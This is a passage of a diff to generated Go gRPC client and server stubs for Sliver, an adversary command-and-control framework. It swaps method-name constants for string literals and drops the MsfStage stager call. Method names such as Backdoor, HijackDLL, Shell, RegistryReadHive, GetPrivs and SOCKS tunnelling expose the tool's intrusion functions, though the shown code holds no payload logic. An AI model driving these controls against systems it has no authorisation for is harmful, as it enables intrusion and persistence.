func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
out := new(sliverpb.PivotListener)
- err := c.cc.Invoke(ctx, SliverRPC_PivotStartListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1720,7 +1525,7 @@ func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.P
func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_PivotStopListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStopListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1729,7 +1534,7 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi
func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
out := new(sliverpb.PivotListeners)
- err := c.cc.Invoke(ctx, SliverRPC_PivotSessionListeners_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1738,7 +1543,7 @@ func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverp
func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) {
out := new(clientpb.PivotGraph)
- err := c.cc.Invoke(ctx, SliverRPC_PivotGraph_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1747,7 +1552,7 @@ func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, op
func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
out := new(sliverpb.ServiceInfo)
- err := c.cc.Invoke(ctx, SliverRPC_StartService_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartService", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1756,7 +1561,7 @@ func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartSe
func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
out := new(sliverpb.ServiceInfo)
- err := c.cc.Invoke(ctx, SliverRPC_StopService_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopService", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1765,7 +1570,7 @@ func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServ
func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
out := new(sliverpb.ServiceInfo)
- err := c.cc.Invoke(ctx, SliverRPC_RemoveService_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RemoveService", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1774,7 +1579,7 @@ func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.Remove
func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenReq, opts ...grpc.CallOption) (*sliverpb.MakeToken, error) {
out := new(sliverpb.MakeToken)
- err := c.cc.Invoke(ctx, SliverRPC_MakeToken_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MakeToken", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1783,7 +1588,7 @@ func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenR
func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts ...grpc.CallOption) (*sliverpb.EnvInfo, error) {
out := new(sliverpb.EnvInfo)
- err := c.cc.Invoke(ctx, SliverRPC_GetEnv_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetEnv", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1792,7 +1597,7 @@ func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts
func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, opts ...grpc.CallOption) (*sliverpb.SetEnv, error) {
out := new(sliverpb.SetEnv)
- err := c.cc.Invoke(ctx, SliverRPC_SetEnv_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SetEnv", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1801,7 +1606,7 @@ func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, op
func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq, opts ...grpc.CallOption) (*sliverpb.UnsetEnv, error) {
out := new(sliverpb.UnsetEnv)
- err := c.cc.Invoke(ctx, SliverRPC_UnsetEnv_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UnsetEnv", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1810,7 +1615,7 @@ func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq
func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq, opts ...grpc.CallOption) (*clientpb.Backdoor, error) {
out := new(clientpb.Backdoor)
- err := c.cc.Invoke(ctx, SliverRPC_Backdoor_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Backdoor", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1819,7 +1624,7 @@ func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq
func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error) {
out := new(sliverpb.RegistryRead)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryRead_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryRead", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1828,7 +1633,7 @@ func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.Registr
func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error) {
out := new(sliverpb.RegistryWrite)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryWrite_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryWrite", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1837,7 +1642,7 @@ func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.Regist
func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error) {
out := new(sliverpb.RegistryCreateKey)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryCreateKey_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryCreateKey", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1846,7 +1651,7 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) {
out := new(sliverpb.RegistryDeleteKey)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryDeleteKey_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1855,7 +1660,7 @@ func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.Re
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryListSubKeys_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1864,7 +1669,7 @@ func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.
func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) {
out := new(sliverpb.RegistryValuesList)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryListValues_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1873,7 +1678,7 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R
func (c *sliverRPCClient) RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error) {
out := new(sliverpb.RegistryReadHive)
- err := c.cc.Invoke(ctx, SliverRPC_RegistryReadHive_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryReadHive", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1882,7 +1687,7 @@ func (c *sliverRPCClient) RegistryReadHive(ctx context.Context, in *sliverpb.Reg
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
out := new(sliverpb.SSHCommand)
- err := c.cc.Invoke(ctx, SliverRPC_RunSSHCommand_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1891,7 +1696,7 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
out := new(clientpb.DllHijack)
- err := c.cc.Invoke(ctx, SliverRPC_HijackDLL_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1900,7 +1705,7 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackR
func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) {
out := new(sliverpb.GetPrivs)
- err := c.cc.Invoke(ctx, SliverRPC_GetPrivs_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1909,7 +1714,7 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
out := new(sliverpb.RportFwdListener)
- err := c.cc.Invoke(ctx, SliverRPC_StartRportFwdListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartRportFwdListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1918,7 +1723,7 @@ func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverp
func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error) {
out := new(sliverpb.RportFwdListeners)
- err := c.cc.Invoke(ctx, SliverRPC_GetRportFwdListeners_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetRportFwdListeners", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1927,7 +1732,7 @@ func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb
func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
out := new(sliverpb.RportFwdListener)
- err := c.cc.Invoke(ctx, SliverRPC_StopRportFwdListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopRportFwdListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1936,7 +1741,7 @@ func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
out := new(sliverpb.OpenSession)
- err := c.cc.Invoke(ctx, SliverRPC_OpenSession_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1945,7 +1750,7 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess
func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CloseSession_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1954,7 +1759,7 @@ func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSe
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
out := new(sliverpb.RegisterExtension)
- err := c.cc.Invoke(ctx, SliverRPC_RegisterExtension_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1963,7 +1768,7 @@ func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.Re
func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
out := new(sliverpb.CallExtension)
- err := c.cc.Invoke(ctx, SliverRPC_CallExtension_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1972,7 +1777,7 @@ func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallEx
func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
out := new(sliverpb.ListExtensions)
- err := c.cc.Invoke(ctx, SliverRPC_ListExtensions_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1981,7 +1786,7 @@ func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListE
func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverpb.RegisterWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterWasmExtension, error) {
out := new(sliverpb.RegisterWasmExtension)
- err := c.cc.Invoke(ctx, SliverRPC_RegisterWasmExtension_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterWasmExtension", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1990,7 +1795,7 @@ func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverp
func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.ListWasmExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListWasmExtensions, error) {
out := new(sliverpb.ListWasmExtensions)
- err := c.cc.Invoke(ctx, SliverRPC_ListWasmExtensions_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListWasmExtensions", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1999,7 +1804,7 @@ func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.L
func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.ExecWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.ExecWasmExtension, error) {
out := new(sliverpb.ExecWasmExtension)
- err := c.cc.Invoke(ctx, SliverRPC_ExecWasmExtension_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecWasmExtension", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2008,7 +1813,7 @@ func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.Ex
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
- err := c.cc.Invoke(ctx, SliverRPC_WGStartPortForward_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2017,7 +1822,7 @@ func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.W
func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
- err := c.cc.Invoke(ctx, SliverRPC_WGStopPortForward_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopPortForward", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2026,7 +1831,7 @@ func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WG
func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocksStartReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) {
out := new(sliverpb.WGSocks)
- err := c.cc.Invoke(ctx, SliverRPC_WGStartSocks_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartSocks", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2035,7 +1840,7 @@ func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocks
func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) {
out := new(sliverpb.WGSocks)
- err := c.cc.Invoke(ctx, SliverRPC_WGStopSocks_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopSocks", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2044,7 +1849,7 @@ func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksS
func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error) {
out := new(sliverpb.WGTCPForwarders)
- err := c.cc.Invoke(ctx, SliverRPC_WGListForwarders_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListForwarders", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2053,7 +1858,7 @@ func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGT
func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error) {
out := new(sliverpb.WGSocksServers)
- err := c.cc.Invoke(ctx, SliverRPC_WGListSocksServers_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListSocksServers", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2062,7 +1867,7 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W
func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) {
out := new(sliverpb.Shell)
- err := c.cc.Invoke(ctx, SliverRPC_Shell_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2071,7 +1876,7 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts
func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) {
out := new(sliverpb.Portfwd)
- err := c.cc.Invoke(ctx, SliverRPC_Portfwd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2080,7 +1885,7 @@ func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq,
func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error) {
out := new(sliverpb.Socks)
- err := c.cc.Invoke(ctx, SliverRPC_CreateSocks_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateSocks", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2089,7 +1894,7 @@ func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, o
func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CloseSocks_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSocks", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2097,7 +1902,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op
}
func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], "/rpcpb.SliverRPC/SocksProxy", opts...)
if err != nil {
return nil, err
}
@@ -2129,7 +1934,7 @@ func (x *sliverRPCSocksProxyClient) Recv() (*sliverpb.SocksData, error) {
func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*sliverpb.Tunnel, error) {
out := new(sliverpb.Tunnel)
- err := c.cc.Invoke(ctx, SliverRPC_CreateTunnel_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateTunnel", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2138,7 +1943,7 @@ func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel,
func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CloseTunnel_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseTunnel", in, out, opts...)
if err != nil {
return nil, err
}
@@ -2146,7 +1951,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel,
}
func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], "/rpcpb.SliverRPC/TunnelData", opts...)
if err != nil {
return nil, err
}
@@ -2177,7 +1982,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) {
}
func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], "/rpcpb.SliverRPC/Events", opts...)
if err != nil {
return nil, err
}
@@ -2310,7 +2115,6 @@ type SliverRPCServer interface {
ImplantProfiles(context.Context, *commonpb.Empty) (*clientpb.ImplantProfiles, error)
DeleteImplantProfile(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error)
SaveImplantProfile(context.Context, *clientpb.ImplantProfile) (*clientpb.ImplantProfile, error)
- MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error)
ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error)
GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error)
ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error)
@@ -2668,9 +2472,6 @@ func (UnimplementedSliverRPCServer) DeleteImplantProfile(context.Context, *clien
func (UnimplementedSliverRPCServer) SaveImplantProfile(context.Context, *clientpb.ImplantProfile) (*clientpb.ImplantProfile, error) {
return nil, status.Errorf(codes.Unimplemented, "method SaveImplantProfile not implemented")
}
-func (UnimplementedSliverRPCServer) MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) {
- return nil, status.Errorf(codes.Unimplemented, "method MsfStage not implemented")
-}
func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) {
return nil, status.Errorf(codes.Unimplemented, "method ShellcodeRDI not implemented")
}
@@ -3000,7 +2801,7 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetVersion_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetVersion",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetVersion(ctx, req.(*commonpb.Empty))
@@ -3044,7 +2845,7 @@ func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetOperators_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetOperators",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty))
@@ -3062,7 +2863,7 @@ func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(inte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Kill_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Kill",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Kill(ctx, req.(*sliverpb.KillReq))
@@ -3080,7 +2881,7 @@ func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Reconfigure_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Reconfigure",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq))
@@ -3098,7 +2899,7 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Rename_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Rename",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq))
@@ -3116,7 +2917,7 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetSessions_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetSessions",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetSessions(ctx, req.(*commonpb.Empty))
@@ -3134,7 +2935,7 @@ func _SliverRPC_MonitorStart_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MonitorStart_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MonitorStart",
}
